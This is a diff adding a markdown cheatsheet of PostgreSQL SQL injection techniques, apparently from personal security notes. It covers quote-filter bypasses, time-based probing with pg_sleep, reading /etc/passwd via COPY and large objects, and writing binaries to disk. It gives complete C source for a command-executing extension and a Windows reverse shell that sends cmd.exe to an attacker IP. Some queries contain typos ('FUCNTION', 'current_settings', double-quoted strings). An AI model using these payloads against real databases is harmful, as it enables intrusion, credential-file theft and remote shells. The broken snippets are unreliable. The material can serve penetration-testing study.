|
@@ -0,0 +1,270 @@
|
|
|
+---
|
|
|
+title: Postgresql SQL Injection Techniques
|
|
|
+categories: [cheatsheets]
|
|
|
+tags: [security, databases, sql]
|
|
|
+---
|
|
|
+
|
|
|
+# Postgresql SQL Injection Techniques
|
|
|
+
|
|
|
+* In postgresql, queries can mostly chained together with the `;` character.
|
|
|
+* This even works in SQL injection
|
|
|
+
|
|
|
+
|
|
|
+## Bypassing Character Restrictions
|
|
|
+
|
|
|
+* To Bypass quotes, dollar-signs(`$`) can be used as well:
|
|
|
+
|
|
|
+```sql
|
|
|
+SELECT 'Example String'
|
|
|
+SELECT $$Example String$$;
|
|
|
+SELECT $Tag$Example String$Tag$;
|
|
|
+```
|
|
|
+
|
|
|
+$\rightarrow$ A tag is optinal
|
|
|
+
|
|
|
+* The function `CHR()` can be used to convert a decimal number to an ASCII character
|
|
|
+ - Can be really helpful for printing non-printable characters
|
|
|
+ - Can be chained together by using `||`
|
|
|
+ - Character concatetation only works for simple queries
|
|
|
+
|
|
|
+```sql
|
|
|
+CHR(65) || CHR(65) || CHR(65) [...]
|
|
|
+```
|
|
|
+
|
|
|
+* Decoding base64 strings to bypass non-printable characters:
|
|
|
+
|
|
|
+```sql
|
|
|
+SELECT convert_from(decode("<base64-string>", 'base64'), "utf-8");
|
|
|
+```
|
|
|
+
|
|
|
+
|
|
|
+## Check Privileges
|
|
|
+
|
|
|
+* To verifiyt if the current user is DBA (Superadmin):
|
|
|
+
|
|
|
+```sql
|
|
|
+SELECT current_setting('is_superuser');
|
|
|
+```
|
|
|
+
|
|
|
+
|
|
|
+## Time-Based SQL Injection
|
|
|
+
|
|
|
+* In Postgresql, it is possible to sleep a certain time using the `pg_sleep()` function.
|
|
|
+* Example querie:
|
|
|
+
|
|
|
+```sql
|
|
|
+SELECT case when (SELECT current_settings('is_superuser'))='on' then pg_sleep(10) end;
|
|
|
+```
|
|
|
+
|
|
|
+
|
|
|
+## Writing to files
|
|
|
+
|
|
|
+* Only available when operating as the DBA user
|
|
|
+* To read/write files, the following syntax can be used:
|
|
|
+
|
|
|
+```sql
|
|
|
+COPY <table_name> from <file_name>
|
|
|
+COPY <table_name> to <file_name>
|
|
|
+```
|
|
|
+
|
|
|
+* For the `COPY TO` command, no table is needed.
|
|
|
+* It is possible to write arbitrary data to the file:
|
|
|
+
|
|
|
+```SQL
|
|
|
+COPY (SELECT "Arbitrary-String") to "/tmp/myfile";
|
|
|
+```
|
|
|
+
|
|
|
+$\rightarrow$ This again, is also possible in the combinatino with the `convert_from()`
|
|
|
+function to write base64 encoded data to a file (.so, .dll, .exe, ...).
|
|
|
+
|
|
|
+* To read content from a file into a table:
|
|
|
+
|
|
|
+```SQL
|
|
|
+CREATE TEMP TABLE input (content text);
|
|
|
+COPY input FROM "/etc/passwd";
|
|
|
+SELECT content FROM input;
|
|
|
+DROP TABLE input;
|
|
|
+```
|
|
|
+
|
|
|
+* This doesn't work with large binary files...
|
|
|
+ - There is a workaround - Postgresql Large Objects
|
|
|
+* Large Objects are used by postgresql to store files like PDFs or Images
|
|
|
+
|
|
|
+* Common large-object commands:
|
|
|
+
|
|
|
+```SQL
|
|
|
+select lo_import("/etc/passwd"); # returns a LO ID
|
|
|
+\lo_list # returns all the IDS from created Large Objects
|
|
|
+
|
|
|
+# directly specify the Blob ID:
|
|
|
+select lo_import("/etc/passwd", 1337);
|
|
|
+```
|
|
|
+
|
|
|
+* Steps to create own blobs:
|
|
|
+ - 1) Create Blob from arbitrary file that is available
|
|
|
+ - 2) Update its contents in the DB (Stored in the table `pg_largeobject`
|
|
|
+ - 3) Export it to the filsystem again
|
|
|
+ - 4) Deleting the LO again
|
|
|
+ - **Info:** Files are split into 2kB chunks in the database
|
|
|
+
|
|
|
+**Step 1:**
|
|
|
+
|
|
|
+* This can be done as already stated above:
|
|
|
+
|
|
|
+```SQL
|
|
|
+SELECT lo_import('filepath', 1337);
|
|
|
+```
|
|
|
+
|
|
|
+**Step 2:**
|
|
|
+
|
|
|
+* To update the contents, use the following query:
|
|
|
+
|
|
|
+```sql
|
|
|
+update pg_largeobject set data=decode('77303074', 'hex') where LOID=1337 and pageno=0;
|
|
|
+```
|
|
|
+
|
|
|
+* Increment the `pageno` for each 2kB chunk
|
|
|
+
|
|
|
+**Step 3:**
|
|
|
+
|
|
|
+* Export the large object with the `lo_export()` command:
|
|
|
+
|
|
|
+```sql
|
|
|
+SELECT lo_export(1337, '/tmp/destination.so');
|
|
|
+```
|
|
|
+
|
|
|
+**Step 4:**
|
|
|
+
|
|
|
+* The Large Object can be deleted by: `\lo_unlink 1337`
|
|
|
+
|
|
|
+
|
|
|
+## Executing Arbitrary Code
|
|
|
+
|
|
|
+### Compiling the Extension
|
|
|
+
|
|
|
+* It is important to compile the extension with the same version
|
|
|
+ - v12.0 libs for exploiting v12.0 server
|
|
|
+* Seperate compilation for Windows & Linux
|
|
|
+
|
|
|
+### Queries
|
|
|
+
|
|
|
+* An extesion can be loaded with the following query:
|
|
|
+
|
|
|
+```SQL
|
|
|
+CREATE OR REPLACE FUCNTION test(text) RETURNS void AS 'Filename', 'test' LANGUAGE 'C' STRICT;
|
|
|
+ ---------- ---- --------- -----
|
|
|
+ function name return library function name
|
|
|
+ & function type type path
|
|
|
+```
|
|
|
+
|
|
|
+* To execute the function, use the following _call_:
|
|
|
+```
|
|
|
+SELECT test("parameter");
|
|
|
+```
|
|
|
+
|
|
|
+* The extension needs an specific Postgres structure
|
|
|
+ - Its not possible to load any .ddl or .so library
|
|
|
+* It is also possible to load the extesion from a remote location, e.g on Windows:
|
|
|
+
|
|
|
+```
|
|
|
+\\192.168.X.X\extension.dll
|
|
|
+```
|
|
|
+
|
|
|
+
|
|
|
+### Example Source-Code - Linux
|
|
|
+
|
|
|
+```C
|
|
|
+#include <string.h>
|
|
|
+#include "postgres.h"
|
|
|
+#include "fmgr.h"
|
|
|
+
|
|
|
+#ifdef PG_MODULE_MAGIC
|
|
|
+PG_MODULE_MAGIC;
|
|
|
+#endif
|
|
|
+
|
|
|
+PG_FUNCTION_INFO_V1(pg_exec);
|
|
|
+Datum pg_exec(PG_FUNCTION_ARGS) {
|
|
|
+ char* command = PG_GETARG_CSTRING(0);
|
|
|
+ PG_RETURN_INT32(system(command));
|
|
|
+}
|
|
|
+```
|
|
|
+
|
|
|
+* This can be compiled by using the following command:
|
|
|
+
|
|
|
+```sh
|
|
|
+gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
|
|
+```
|
|
|
+
|
|
|
+If the installed postgresql version doesn't match the server version:
|
|
|
+
|
|
|
+* Download the source-code of the same postgresql version that is running on the server
|
|
|
+* Configure it with: `./configure`
|
|
|
+* Compile the sources with: `make`
|
|
|
+* & Install them with: `sudo make install`
|
|
|
+
|
|
|
+Use the library sources as input for GCC:
|
|
|
+
|
|
|
+```sh
|
|
|
+gcc -I/path/to/postgresql/src/include -shared -fPIC -o pg_exec.so pg_exec.c
|
|
|
+```
|
|
|
+
|
|
|
+
|
|
|
+### Example Source-Code - Windows
|
|
|
+
|
|
|
+* Simple Postgresql reverse shell:
|
|
|
+
|
|
|
+```C
|
|
|
+#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
|
|
+#include "postgres.h"
|
|
|
+#include <string.h>
|
|
|
+#include "fmgr.h"
|
|
|
+#include "utils/geo_decls.h"
|
|
|
+#include <stdio.h>
|
|
|
+#include <WinSock2.h>
|
|
|
+#include "utils/builtins.h"
|
|
|
+#pragma comment(lib, "ws2_32")
|
|
|
+
|
|
|
+
|
|
|
+#ifdef PG_MODULE_MAGIC
|
|
|
+PG_MODULE_MAGIC;
|
|
|
+#endif
|
|
|
+
|
|
|
+
|
|
|
+// Add a prototype marked PGDLLEXPORT
|
|
|
+PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
|
|
|
+PG_FUNCTION_INFO_V1(connect_back);
|
|
|
+
|
|
|
+WSADATA wsaData;
|
|
|
+SOCKET s1;
|
|
|
+struct sockaddr_in hax;
|
|
|
+char ip_addr[16];
|
|
|
+STARTUPINFO sui;
|
|
|
+PROCESS_INFORMATION pi;
|
|
|
+
|
|
|
+Datum
|
|
|
+connect_back(PG_FUNCTION_ARGS) {
|
|
|
+
|
|
|
+#define GET_TEXT(cstrp) DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
|
|
|
+#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
|
|
+
|
|
|
+ WSAStartup(MAKEWORD(2, 2), &wsaData);
|
|
|
+ s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
|
|
|
+
|
|
|
+ hax.sin_family = AF_INET;
|
|
|
+ hax.sin_port = htons(port_as_integer);
|
|
|
+ hax.sin_addr.s_addr = inet_addr("<ip-here>");
|
|
|
+
|
|
|
+ WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
|
|
|
+
|
|
|
+ memset(&sui, 0, sizeof(sui));
|
|
|
+ sui.cb = sizeof(sui);
|
|
|
+ sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
|
|
|
+ sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
|
|
|
+ CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
|
|
|
+ PG_RETURN_VOID();
|
|
|
+
|
|
|
+
|
|
|
+}
|
|
|
+```
|
|
|
+
|
|
|
+* This can be compiled with Visual Studio - the postgresql libraries must be included
|